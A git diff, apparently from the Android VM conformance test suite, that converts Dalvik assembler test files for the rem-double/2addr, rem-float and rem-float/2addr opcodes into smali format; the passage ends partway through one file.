diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double_2addr/d/T_rem_double_2addr_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double_2addr/d/T_rem_double_2addr_5.d
deleted file mode 100644
index 92c22bf..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double_2addr/d/T_rem_double_2addr_5.d
+++ /dev/null
@@ -1,18 +0,0 @@
-.source T_rem_double_2addr_5.java
-.class public dot.junit.opcodes.rem_double_2addr.d.T_rem_double_2addr_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(DD)D
-.limit regs 14
-
-       rem-double/2addr v9, v12
-       return-wide v9
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double_2addr/d/T_rem_double_2addr_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double_2addr/d/T_rem_double_2addr_5.smali
new file mode 100644
index 0000000..b981bb1
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double_2addr/d/T_rem_double_2addr_5.smali
@@ -0,0 +1,18 @@
+.source "T_rem_double_2addr_5.java"
+.class  public Ldot/junit/opcodes/rem_double_2addr/d/T_rem_double_2addr_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(DD)D
+.registers 14
+
+       rem-double/2addr v9, v12
+       return-wide v9
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double_2addr/d/T_rem_double_2addr_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double_2addr/d/T_rem_double_2addr_6.d
deleted file mode 100644
index 7ea6104..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double_2addr/d/T_rem_double_2addr_6.d
+++ /dev/null
@@ -1,18 +0,0 @@
-.source T_rem_double_2addr_6.java
-.class public dot.junit.opcodes.rem_double_2addr.d.T_rem_double_2addr_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(DI)D
-.limit regs 14
-
-       rem-double/2addr v11, v13
-       return-wide v11
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double_2addr/d/T_rem_double_2addr_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double_2addr/d/T_rem_double_2addr_6.smali
new file mode 100644
index 0000000..8a0b0e2
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double_2addr/d/T_rem_double_2addr_6.smali
@@ -0,0 +1,18 @@
+.source "T_rem_double_2addr_6.java"
+.class  public Ldot/junit/opcodes/rem_double_2addr/d/T_rem_double_2addr_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(DI)D
+.registers 14
+
+       rem-double/2addr v11, v13
+       return-wide v11
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float/d/T_rem_float_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float/d/T_rem_float_1.d
deleted file mode 100644
index a4edaea..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float/d/T_rem_float_1.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rem_float_1.java
-.class public dot.junit.opcodes.rem_float.d.T_rem_float_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FF)F
-.limit regs 8
-
-       rem-float v0, v6, v7
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float/d/T_rem_float_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float/d/T_rem_float_1.smali
new file mode 100644
index 0000000..6d9771a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float/d/T_rem_float_1.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_float_1.java"
+.class  public Ldot/junit/opcodes/rem_float/d/T_rem_float_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)F
+.registers 8
+
+       rem-float v0, v6, v7
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float/d/T_rem_float_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float/d/T_rem_float_2.d
deleted file mode 100644
index 8ce3466..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float/d/T_rem_float_2.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rem_float_2.java
-.class public dot.junit.opcodes.rem_float.d.T_rem_float_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FF)F
-.limit regs 8
-
-       rem-float v0, v7, v8
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float/d/T_rem_float_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float/d/T_rem_float_2.smali
new file mode 100644
index 0000000..e05ed7e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float/d/T_rem_float_2.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_float_2.java"
+.class  public Ldot/junit/opcodes/rem_float/d/T_rem_float_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)F
+.registers 8
+
+       rem-float v0, v7, v8
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float/d/T_rem_float_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float/d/T_rem_float_3.d
deleted file mode 100644
index e773a12..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float/d/T_rem_float_3.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rem_float_3.java
-.class public dot.junit.opcodes.rem_float.d.T_rem_float_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FD)F
-.limit regs 8
-
-       rem-float v0, v5, v6
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float/d/T_rem_float_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float/d/T_rem_float_3.smali
new file mode 100644
index 0000000..bede80f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float/d/T_rem_float_3.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_float_3.java"
+.class  public Ldot/junit/opcodes/rem_float/d/T_rem_float_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FD)F
+.registers 8
+
+       rem-float v0, v5, v6
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float/d/T_rem_float_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float/d/T_rem_float_4.d
deleted file mode 100644
index afde65c..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float/d/T_rem_float_4.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rem_float_4.java
-.class public dot.junit.opcodes.rem_float.d.T_rem_float_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JF)F
-.limit regs 8
-
-       rem-float v0, v5, v7
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float/d/T_rem_float_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float/d/T_rem_float_4.smali
new file mode 100644
index 0000000..7af59ad
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float/d/T_rem_float_4.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_float_4.java"
+.class  public Ldot/junit/opcodes/rem_float/d/T_rem_float_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JF)F
+.registers 8
+
+       rem-float v0, v5, v7
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float/d/T_rem_float_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float/d/T_rem_float_5.d
deleted file mode 100644
index 23740bf..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float/d/T_rem_float_5.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rem_float_5.java
-.class public dot.junit.opcodes.rem_float.d.T_rem_float_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FF)F
-.limit regs 8
-
-       rem-float v0, v5, v7
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float/d/T_rem_float_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float/d/T_rem_float_5.smali
new file mode 100644
index 0000000..6b24746
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float/d/T_rem_float_5.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_float_5.java"
+.class  public Ldot/junit/opcodes/rem_float/d/T_rem_float_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)F
+.registers 8
+
+       rem-float v0, v5, v7
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float/d/T_rem_float_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float/d/T_rem_float_6.d
deleted file mode 100644
index 83ac469..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float/d/T_rem_float_6.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rem_float_6.java
-.class public dot.junit.opcodes.rem_float.d.T_rem_float_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FI)F
-.limit regs 8
-
-       rem-float v0, v6, v7
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float/d/T_rem_float_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float/d/T_rem_float_6.smali
new file mode 100644
index 0000000..af6eab6
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float/d/T_rem_float_6.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_float_6.java"
+.class  public Ldot/junit/opcodes/rem_float/d/T_rem_float_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FI)F
+.registers 8
+
+       rem-float v0, v6, v7
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float_2addr/d/T_rem_float_2addr_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float_2addr/d/T_rem_float_2addr_1.d
deleted file mode 100644
index a5571e5..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float_2addr/d/T_rem_float_2addr_1.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rem_float_2addr_1.java
-.class public dot.junit.opcodes.rem_float_2addr.d.T_rem_float_2addr_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FF)F
-.limit regs 8
-
-       rem-float/2addr v6, v7
-       return v6
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float_2addr/d/T_rem_float_2addr_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float_2addr/d/T_rem_float_2addr_1.smali
new file mode 100644
index 0000000..99c5070
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float_2addr/d/T_rem_float_2addr_1.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_float_2addr_1.java"
+.class  public Ldot/junit/opcodes/rem_float_2addr/d/T_rem_float_2addr_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)F
+.registers 8
+
+       rem-float/2addr v6, v7
+       return v6
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float_2addr/d/T_rem_float_2addr_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float_2addr/d/T_rem_float_2addr_2.d
deleted file mode 100644
index aef48cb..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float_2addr/d/T_rem_float_2addr_2.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rem_float_2addr_2.java
-.class public dot.junit.opcodes.rem_float_2addr.d.T_rem_float_2addr_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FF)F
-.limit regs 8
-
-       rem-float/2addr v6, v8
-       return v6
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float_2addr/d/T_rem_float_2addr_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float_2addr/d/T_rem_float_2addr_2.smali
new file mode 100644
index 0000000..d3f9bf8
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float_2addr/d/T_rem_float_2addr_2.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_float_2addr_2.java"
+.class  public Ldot/junit/opcodes/rem_float_2addr/d/T_rem_float_2addr_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)F
+.registers 8
+
+       rem-float/2addr v6, v8
+       return v6
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float_2addr/d/T_rem_float_2addr_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float_2addr/d/T_rem_float_2addr_3.d
deleted file mode 100644
index 294652e..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float_2addr/d/T_rem_float_2addr_3.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rem_float_2addr_3.java
-.class public dot.junit.opcodes.rem_float_2addr.d.T_rem_float_2addr_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FD)F
-.limit regs 8
-
-       rem-float/2addr v5, v6
-       return v5
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float_2addr/d/T_rem_float_2addr_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float_2addr/d/T_rem_float_2addr_3.smali
new file mode 100644
index 0000000..89fefab
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float_2addr/d/T_rem_float_2addr_3.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_float_2addr_3.java"
+.class  public Ldot/junit/opcodes/rem_float_2addr/d/T_rem_float_2addr_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FD)F
+.registers 8
+
+       rem-float/2addr v5, v6
+       return v5
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float_2addr/d/T_rem_float_2addr_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float_2addr/d/T_rem_float_2addr_4.d
deleted file mode 100644
index 4c5f1f5..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float_2addr/d/T_rem_float_2addr_4.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rem_float_2addr_4.java
-.class public dot.junit.opcodes.rem_float_2addr.d.T_rem_float_2addr_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JF)F
-.limit regs 8
-
-       rem-float/2addr v5, v7
-       return v5
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float_2addr/d/T_rem_float_2addr_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float_2addr/d/T_rem_float_2addr_4.smali
new file mode 100644
index 0000000..badbd80
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float_2addr/d/T_rem_float_2addr_4.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_float_2addr_4.java"
+.class  public Ldot/junit/opcodes/rem_float_2addr/d/T_rem_float_2addr_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JF)F
+.registers 8
+
+       rem-float/2addr v5, v7
+       return v5
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float_2addr/d/T_rem_float_2addr_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float_2addr/d/T_rem_float_2addr_5.d
deleted file mode 100644
index 44c82c2..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float_2addr/d/T_rem_float_2addr_5.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rem_float_2addr_5.java
-.class public dot.junit.opcodes.rem_float_2addr.d.T_rem_float_2addr_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FF)F
-.limit regs 8
-
-       rem-float/2addr v5, v7
-       return v5
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float_2addr/d/T_rem_float_2addr_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float_2addr/d/T_rem_float_2addr_5.smali
new file mode 100644
index 0000000..b63675c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float_2addr/d/T_rem_float_2addr_5.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_float_2addr_5.java"
+.class  public Ldot/junit/opcodes/rem_float_2addr/d/T_rem_float_2addr_5;
